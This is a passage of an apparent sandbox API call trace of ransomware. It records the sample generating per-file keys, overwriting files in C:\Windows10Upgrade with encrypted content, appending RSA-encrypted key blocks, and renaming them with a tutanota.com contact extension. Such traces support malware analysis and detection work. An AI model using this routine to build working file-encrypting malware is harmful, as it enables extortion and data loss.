hHeap=0x570000) returned 1 [0129.869] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5ce0 | out: hHeap=0x570000) returned 1 [0129.869] SetFilePointer (in: hFile=0x470, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x241 [0129.869] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0129.869] WriteFile (in: hFile=0x470, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0129.870] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0129.870] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0129.871] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0129.871] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0129.871] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="F93BZNaO77V7SiYhbLFQ+SAAo+q3z+JcBU1+jhCKN59GYdvxr4ukY9+C3P4+74KU\nK6ofwN9uAdmwZvO1dMqiN5rXKf9h/z3LFhtsGTmXTTx9eUWZMRowmzCQU1HNDjTt\n8Asn+rp0McX4ol8sEmVjYtfxkzhGVx274oDUYlkW2qyJpgjEDHNP+ZcQzLOTgCaY\nzeUlR3YYRw0SGJC9q1kMzB0vQ+lEXtHgNQrQiEcSOncL5+qQ5QjjaV4ACkX5kmS4\nuzDgqhvFz6KzkUVPRt//IL+sV/mM7Uct0ByR9JmUk8DCQRDczkOC7ZbShwZvJPVt\n6AJJ0lwQooZMrDJKgkZNjA==\n", pcchString=0x2e3f9a8) returned 1 [0129.871] WriteFile (in: hFile=0x470, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0129.871] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0129.871] WriteFile (in: hFile=0x470, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0129.872] CloseHandle (hObject=0x470) returned 1 [0129.873] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0129.874] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\PostOOBEScript.cmd" (normalized: "c:\\windows10upgrade\\postoobescript.cmd"), lpNewFileName="\\Windows10Upgrade\\PostOOBEScript.cmd.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\postoobescript.cmd.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0129.875] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0129.876] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0129.876] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be948 | out: hHeap=0x570000) returned 1 [0129.876] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be6e0 | out: hHeap=0x570000) returned 1 [0129.876] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be840 [0129.876] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0129.876] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0129.876] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\HttpHelper.exe", dwFileAttributes=0x80) returned 1 [0129.876] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bebb0 [0129.876] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0129.876] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bebb0 | out: hHeap=0x570000) returned 1 [0129.876] CreateFileW (lpFileName="\\Windows10Upgrade\\HttpHelper.exe" (normalized: "c:\\windows10upgrade\\httphelper.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0129.876] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=27848) returned 1 [0129.877] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x6cc8) returned 0x5d7830 [0129.877] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x6cc8) returned 0x5de500 [0129.877] ReadFile (in: hFile=0x470, lpBuffer=0x5d7830, nNumberOfBytesToRead=0x6cc8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d7830*, lpNumberOfBytesRead=0x2e3f9b4*=0x6cc8, lpOverlapped=0x0) returned 1 [0129.925] SetFilePointer (in: hFile=0x470, lDistanceToMove=-27848, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.925] WriteFile (in: hFile=0x470, lpBuffer=0x5de500*, nNumberOfBytesToWrite=0x6cc8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5de500*, lpNumberOfBytesWritten=0x2e3f9b4*=0x6cc8, lpOverlapped=0x0) returned 1 [0129.925] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d7830 | out: hHeap=0x570000) returned 1 [0129.925] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5de500 | out: hHeap=0x570000) returned 1 [0129.926] SetFilePointer (in: hFile=0x470, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x6cc8 [0129.926] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0129.927] WriteFile (in: hFile=0x470, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0129.927] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0129.927] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0129.928] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0129.928] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0129.928] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="fAsFTeGp2SRi2jA+TKFlmggtJ8Rfc/CDIYnNE4QSCAUL6sCbzrxnEtjsYgwjHwTl\nOpfzoij5RcxHJ2aii32oZcHTWEgHxRGF+cBEDUokc4eQUoHZ/lwbsUAtliMX/VZq\nFfLItFLGcPaqTWCgHCO4vipo96SHXyVF2hGVsFP873uDOrP+L/Vzb7zuVWy0qGmW\nvgvEdTZSxNf9qQMYqabZHUwuUez9ZgsPMIsyShzEktn/LnmIsGB9i1SOKrWeuIXi\naOBQOSHPxLYFRC1a7QSI27IaBOTpKDhi3qaYnvlW6i3GYPZ+xtSNJ9opTSCJABAj\nuCv6/nGPMzQjaxMNiZ+Xhw==\n", pcchString=0x2e3f9a8) returned 1 [0129.928] WriteFile (in: hFile=0x470, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0129.928] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0129.928] WriteFile (in: hFile=0x470, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0129.928] CloseHandle (hObject=0x470) returned 1 [0129.929] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0129.929] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\HttpHelper.exe" (normalized: "c:\\windows10upgrade\\httphelper.exe"), lpNewFileName="\\Windows10Upgrade\\HttpHelper.exe.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\httphelper.exe.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0129.933] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0129.933] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0129.934] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be840 | out: hHeap=0x570000) returned 1 [0129.934] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0129.934] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6918 [0129.934] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0129.934] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0129.934] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\GetCurrentRollback.EXE", dwFileAttributes=0x80) returned 1 [0129.934] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6710 [0129.934] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0129.934] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6710 | out: hHeap=0x570000) returned 1 [0129.934] CreateFileW (lpFileName="\\Windows10Upgrade\\GetCurrentRollback.EXE" (normalized: "c:\\windows10upgrade\\getcurrentrollback.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0129.934] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=73416) returned 1 [0129.934] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11ec8) returned 0x5d7830 [0129.934] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11ec8) returned 0x5e9700 [0129.934] ReadFile (in: hFile=0x470, lpBuffer=0x5d7830, nNumberOfBytesToRead=0x11ec8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d7830*, lpNumberOfBytesRead=0x2e3f9b4*=0x11ec8, lpOverlapped=0x0) returned 1 [0129.951] SetFilePointer (in: hFile=0x470, lDistanceToMove=-73416, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.951] WriteFile (in: hFile=0x470, lpBuffer=0x5e9700*, nNumberOfBytesToWrite=0x11ec8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5e9700*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11ec8, lpOverlapped=0x0) returned 1 [0129.951] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d7830 | out: hHeap=0x570000) returned 1 [0129.952] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5e9700 | out: hHeap=0x570000) returned 1 [0129.954] SetFilePointer (in: hFile=0x470, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11ec8 [0129.954] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0129.954] WriteFile (in: hFile=0x470, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0129.954] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0129.954] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0129.955] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0129.955] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0129.955] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="9NnRL2bBX2272ht1L7OwoWSQj+K26W3QqIMFNbDcRJHAv0mfzvxf9W/yR9v1/4lk\nxPFAWV2tQ7Lq9DnRI2uV6CCg6UFWyxQysOlXC6nrHGdJkhOxXMJn/2Prs9jozmkR\nMWUZHahwfoJ8tpAcKK+Q8rl1ephYUU9bNtpNI+lquZ1YvwBiow9mws27ZZHJHvmA\nVicx6rsFI6u0jRuMkVOz+MgGLaWuE0JSuy0CGwmL0Ls1PVxRnt3fUa/JUeujAzir\ngxyM3A5nwg4kU2rPx6G61sk4J0pGRouyG5Bfnfbz/01xRP+doyU1rbrsbVguOwSv\nyvCifwVm/BwrVv5GSH7Kbw==\n", pcchString=0x2e3f9a8) returned 1 [0129.955] WriteFile (in: hFile=0x470, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0129.955] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0129.955] WriteFile (in: hFile=0x470, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0129.956] CloseHandle (hObject=0x470) returned 1 [0129.957] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0129.957] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\GetCurrentRollback.EXE" (normalized: "c:\\windows10upgrade\\getcurrentrollback.exe"), lpNewFileName="\\Windows10Upgrade\\GetCurrentRollback.EXE.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\getcurrentrollback.exe.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0129.970] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0129.970] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0129.970] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0129.970] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6300 | out: hHeap=0x570000) returned 1 [0129.970] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0129.970] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0129.970] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0129.970] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\GetCurrentOOBE.dll", dwFileAttributes=0x80) returned 1 [0129.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be738 [0129.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0129.971] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be738 | out: hHeap=0x570000) returned 1 [0129.971] CreateFileW (lpFileName="\\Windows10Upgrade\\GetCurrentOOBE.dll" (normalized: "c:\\windows10upgrade\\getcurrentoobe.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0129.971] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=144072) returned 1 [0129.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x232c8) returned 0x5d7830 [0129.971] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x232c8) returned 0x5fab00 [0129.971] ReadFile (in: hFile=0x470, lpBuffer=0x5d7830, nNumberOfBytesToRead=0x232c8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5d7830*, lpNumberOfBytesRead=0x2e3f9b4*=0x232c8, lpOverlapped=0x0) returned 1 [0129.993] SetFilePointer (in: hFile=0x470, lDistanceToMove=-144072, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.994] WriteFile (in: hFile=0x470, lpBuffer=0x5fab00*, nNumberOfBytesToWrite=0x232c8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5fab00*, lpNumberOfBytesWritten=0x2e3f9b4*=0x232c8, lpOverlapped=0x0) returned 1 [0129.994] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d7830 | out: hHeap=0x570000) returned 1 [0129.995] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5fab00 | out: hHeap=0x570000) returned 1 [0129.996] SetFilePointer (in: hFile=0x470, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x232c8 [0129.996] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0129.996] WriteFile (in: hFile=0x470, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0129.996] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0129.996] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0129.997] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0129.997] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0129.997] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="v60ZrpOgqbRR926iZ3Tq4eFx2w02sXoT31PzElsttC6K+qp3uEW1vbKYEUt7PbnK\n+2kaVpmSrg2mvK8sUqGEvBpKFMSazWl5vQ4L0+0wgtJ5dJKqfmwZCKsyOm6gSDtg\nOM/gDMRHXdUy/4dLRd46TM5GB0QIZNw7YFj1wcM0z5xnhAVVb9MUvc4k+5WEQzr7\nIkd0nmGeOCWRV1j7hL0SjwwDz8lkvbUT86f65TOFfMbJcFkyUR24iEL6SzzTCu4Z\ntadDcVcWxlYzlsifTloq47lKS6qDwg7gJC2JxUHI0wI7330TV3HvMy4Egk2aSYXa\nm2bN5eUpWoQ5aecNnRSIuw==\n", pcchString=0x2e3f9a8) returned 1 [0129.997] WriteFile (in: hFile=0x470, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0129.997] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0129.997] WriteFile (in: hFile=0x470, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0129.998] CloseHandle (hObject=0x470) returned 1 [0130.000] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0130.000] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\GetCurrentOOBE.dll" (normalized: "c:\\windows10upgrade\\getcurrentoobe.dll"), lpNewFileName="\\Windows10Upgrade\\GetCurrentOOBE.dll.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\getcurrentoobe.dll.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0130.002] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0130.002] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0130.002] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0130.002] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beec8 | out: hHeap=0x570000) returned 1 [0130.002] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beec8 [0130.002] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0130.002] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0130.002] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\GetCurrentDeploy.dll", dwFileAttributes=0x80) returned 1 [0130.003] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0130.003] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0130.003] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0130.003] CreateFileW (lpFileName="\\Windows10Upgrade\\GetCurrentDeploy.dll" (normalized: "c:\\windows10upgrade\\getcurrentdeploy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0130.003] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=539848) returned 1 [0130.003] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x83cc8) returned 0x314a020 [0130.004] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x83cc8) returned 0x31dc020 [0130.004] ReadFile (in: hFile=0x470, lpBuffer=0x314a020, nNumberOfBytesToRead=0x83cc8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x314a020*, lpNumberOfBytesRead=0x2e3f9b4*=0x83cc8, lpOverlapped=0x0) returned 1 [0130.091] SetFilePointer (in: hFile=0x470, lDistanceToMove=-539848, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.091] WriteFile (in: hFile=0x470, lpBuffer=0x31dc020*, nNumberOfBytesToWrite=0x83cc8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x31dc020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x83cc8, lpOverlapped=0x0) returned 1 [0130.093] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x314a020 | out: hHeap=0x570000) returned 1 [0130.093] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x31dc020 | out: hHeap=0x570000) returned 1 [0130.093] SetFilePointer (in: hFile=0x470, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x83cc8 [0130.093] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0130.093] WriteFile (in: hFile=0x470, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0130.093] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0130.093] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0130.095] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0130.095] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0130.095] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="eKiW+zELK/A2WCIAEsDuWPL16YnYszrwPdek0VtUDg0iRosYibH4wmI/fDVKZB5a\ncdl8VOqKo10jAycF/KEGsGHDcGd3Yluk5WsPo4zEQl2+R5RkmpMNWnwgIlom1J0u\npuMF7/0oc/ocPh3dbMy7mmv40SgmpGL4Js/i4zG7QwT6St0ES4KhvjwB9AIsDzot\nEWTTM6CHwYeMHcwk2P/tDH6Tp5eDFdCoErIbmlp/gUywrfMdM6KwqJaotgHRBPnQ\nAvGZHo5gzrmjWNNeVch0cA/O9vzKDSm/+JEjWG6UuraibO6gLFm55myry9gVL1GT\nr7EE7vwabNDmn0AnQrX4kw==\n", pcchString=0x2e3f9a8) returned 1 [0130.095] WriteFile (in: hFile=0x470, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, 